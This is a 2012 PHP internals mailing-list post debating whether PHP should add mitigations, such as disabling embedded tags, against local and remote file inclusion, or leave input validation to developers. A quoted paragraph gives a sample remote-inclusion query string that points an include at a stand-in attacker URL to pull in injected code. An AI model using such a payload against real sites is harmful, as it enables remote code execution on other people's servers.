Newsgroups: php.internals
Path: news.php.net
Xref: news.php.net php.internals:59752
Mailing-List: contact internals-help@lists.php.net; run by ezmlm
Received-SPF: pass (pb1.pair.com: domain gmail.com designates 74.125.82.170 as permitted sender)
MIME-Version: 1.0
In-Reply-To: <CAGa2bXb=RbjPaL=SeUv6vDv_Cvc0O5f_noNdZwue3gFcgnajAA@mail.gmail.com>
References: <CAGa2bXZ6G=Cphjrde3u1Mq3AAw-4yJk3s28vNe+Aybt2nGTumg@mail.gmail.com>
	<CAGa2bXZh4uMeUH_BSCFmfNgxS-SZC0svA9BPcSROjwmbfrtFyQ@mail.gmail.com>
	<CAGa2bXbhi4zdgd9Udo6KsoycDwg_Ke0Xe5h3_-fVDMvn_VfAjQ@mail.gmail.com>
	<A633CF2D7C7BED41B41F1E64F25507B806A5CDD6C2@MAILR001.mail.lan>
	<CAGa2bXZKfQ+HqOucwOnBH7gV84hpdxZb5qNY3t3ThF_zMKSGHw@mail.gmail.com>
	<4F850D06.10701@sugarcrm.com>
	<CAGa2bXZWrRh8RdMtKK_2_U_XmByC-O6hGRPrJyW5KwvE0CAK-w@mail.gmail.com>
	<4F8515AF.8060706@sugarcrm.com>
	<CAGa2bXZWudQeRm5h2eENGmgQDPfOqEmijB9-vPAvfKXLCfDiLw@mail.gmail.com>
	<4F851FE4.7000706@sugarcrm.com>
	<CAGa2bXbXdNcfHX_dM2EVVz_2JtS4cc+8pxneSLAd382TuQUg-w@mail.gmail.com>
	<4F8539E0.1090701@sugarcrm.com>
	<4F859063.1010401@lerdorf.com>
	<A633CF2D7C7BED41B41F1E64F25507B806A5CDD71A@MAILR001.mail.lan>
	<CAKOpQSz1=AFfWcO=F0Ot_2Jm8audczE2a1DnGV-vxhp=80ZcUQ@mail.gmail.com>
	<CALKFbxs5irYW1Sdus4b=XBvbKqfsMkJbEd14RmXC7tFv7rg-fw@mail.gmail.com>
	<CAGa2bXb=RbjPaL=SeUv6vDv_Cvc0O5f_noNdZwue3gFcgnajAA@mail.gmail.com>
Date: Wed, 11 Apr 2012 13:55:33 -0700
Message-ID: <CAKOpQSzN4xkJLL_JwbXx1iOJs6Hnxnjh+D2qUjpShqgW8N2S6g@mail.gmail.com>
To: Yasuo Ohgaki <yohgaki@ohgaki.net>
Cc: Chris Stockton <chrisstocktonaz@gmail.com>, John Crenshaw <johncrenshaw@priacta.com>, 
	Rasmus Lerdorf <rasmus@lerdorf.com>, Stas Malyshev <smalyshev@sugarcrm.com>, 
	"internals@lists.php.net" <internals@lists.php.net>
Content-Type: multipart/alternative; boundary=f46d0442811ee17ecd04bd6d7506
Subject: Re: [PHP-DEV] Re: Disabling PHP tags by php.ini and CLI options
From: kris.craig@gmail.com (Kris Craig)

--f46d0442811ee17ecd04bd6d7506
Content-Type: text/plain; charset=ISO-8859-1

On Wed, Apr 11, 2012 at 1:48 PM, Yasuo Ohgaki <yohgaki@ohgaki.net> wrote:

> Hi,
>
> 2012/4/12 Chris Stockton <chrisstocktonaz@gmail.com>:
> > Hello,
> >
> > On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig <kris.craig@gmail.com>
> wrote:
> >> I can't help but question whether we should even be worrying about
> LFI/RFI
> >> to begin with.  Personally, I would *never* check-off on code that in
> any
> >> way used $_GET or $_POST directly in an include/require statement!  It's
> >> just plain lazy.  There's just no excuse for doing that.  Use some sort
> of
> >> dispatch or translation table.  Sure, it might seem less "magical," but
> >> it'll also protect you from some asshole hitting you with something
> like,
> >> "?file=http://hacksite.com/injectedcode.php?".  The individual code
> >> developer has to take *some* responsibility for their code.  If this is
> >> such a problem, I would think the solution would be to update our docs
> to
> >> better warn people about this type of attack and educate them on how
> not to
> >> write code that's vulnerable to it.
> >>
> >> We can make the language secure; but, in the end, a language is only as
> >> smart as the person using it.
> >>
> >
> >
> > I really have a hard time understanding how this is even being
> > discussed, there is no real problem here. Making sure user input is
> > validated is a core concept of application development. How on earth
> > can you say "if you don't validate the users input, it's a security
> > problem, so php must fix it", it's the most ridiculousness argument I
> > have read on here in ages.
>
> It is the same as saying that canary protection for stack smashing
> or ASLR is useless if programmer write correct code.
>
> Don't you appreciate that compilers/OSes have additional mitigation
> factor, do you? Or would you like to disable all of these mitigation
> features from your compilers/OSes? I guess not.
>
> C language is prone to be weak for buffer overflows, hence it is
> weak to code execution and/or massive information disclosure.
> (Like private key disclosure demonstrated by MoPB)
>
> Embedded language is prone to be weak for LFI. It also leads
> to code execution and/or massive information disclosure.
>
> These weaknesses are the nature of how languages are made.
> PHP is pure embedded language and there are people trying to
> change it. If we are going to change that, it is reasonable to
> change PHP so that LFI weakness will be closed.
>
> Not closing LFI issue is sound like "We have created Java language
> which is free from memory management, but stack smashing and
> various overflow issues still remains."
>
> >
> > _IF_ you absolutely must accept arbitrary user urls from users, which
> > we all have to do at some point, you use socket functions, file
> > functions, HTTP extension, whatever you want. If you are using INCLUDE
> > you are using the WRONG TOOL. You are WRONG.
>
> Decent programmers knew the most important mitigation factor
> is input control. It is top listed as monster mitigation in SANS CWE
> TOP 25 also. I guess nobody would argue that here.
>
> >
> > _IF_ you are needing to display downloaded user data onto a page, a
> > image for example, you need to use file functions, fpassthru,
> > something of the source. If you are using INCLUDE to do this, you are
> > using the WRONG TOOL. You are WRONG.
> >
> > _IF_ you for some reason must accept LOCAL PATHS from a user, and you
> > do not want to pass that input through a validation layer, you are
> > WRONG.
> >
> > It boils down to you either use the right tools and the right
> > validation methods or I promise this is only one of unlimited possible
> > security concerns Yasuo.
>
> We are discussing PHP being stronger against LFI, if we
> are going to adopt non-ebmed mode for PHP.
>
> PHP  is good language for novice. Do we want them to learn
> details of LFI which is described in my RFC? How dangerous it is,
> how it could be exploited, etc. I believe it's just not worth it if we
> made PHP could work in non-embedded mode.
>
> By the way, how many people knew all the exploitation methods that
> I've written in the RFC? It's a real risk, but I guess many of us
> don't even think about or care. How we could expect novice or
> even average PHP programmer care about these risks?
>
> It's better that close window as much as possible where it is
> applicable.
>
> Regards,
>
> --
> Yasuo Ohgaki
> yohgaki@ohgaki.net
>

But you're basically just using an "either or argument," a classic logical
fallacy.  I.e. you're saying that, if I believe that the language shouldn't
be twisted to protect against every single possible vulnerability caused by
stupid code, then I must also believe that the language should not contain *
any* security safeguards, whatsoever.  That's just patently ridiculous.

This isn't an "all or nothing" question.  This particular RFC just doesn't
pass the cost/benefit test IMHO.  That doesn't mean that all
security-related RFCs don't.  In this case, a substantial change to the
language would have to be made, and the only benefit would be protecting
against a very narrow vulnerability that *only* occurs in really, REALLY
bad code.

--Kris

--f46d0442811ee17ecd04bd6d7506--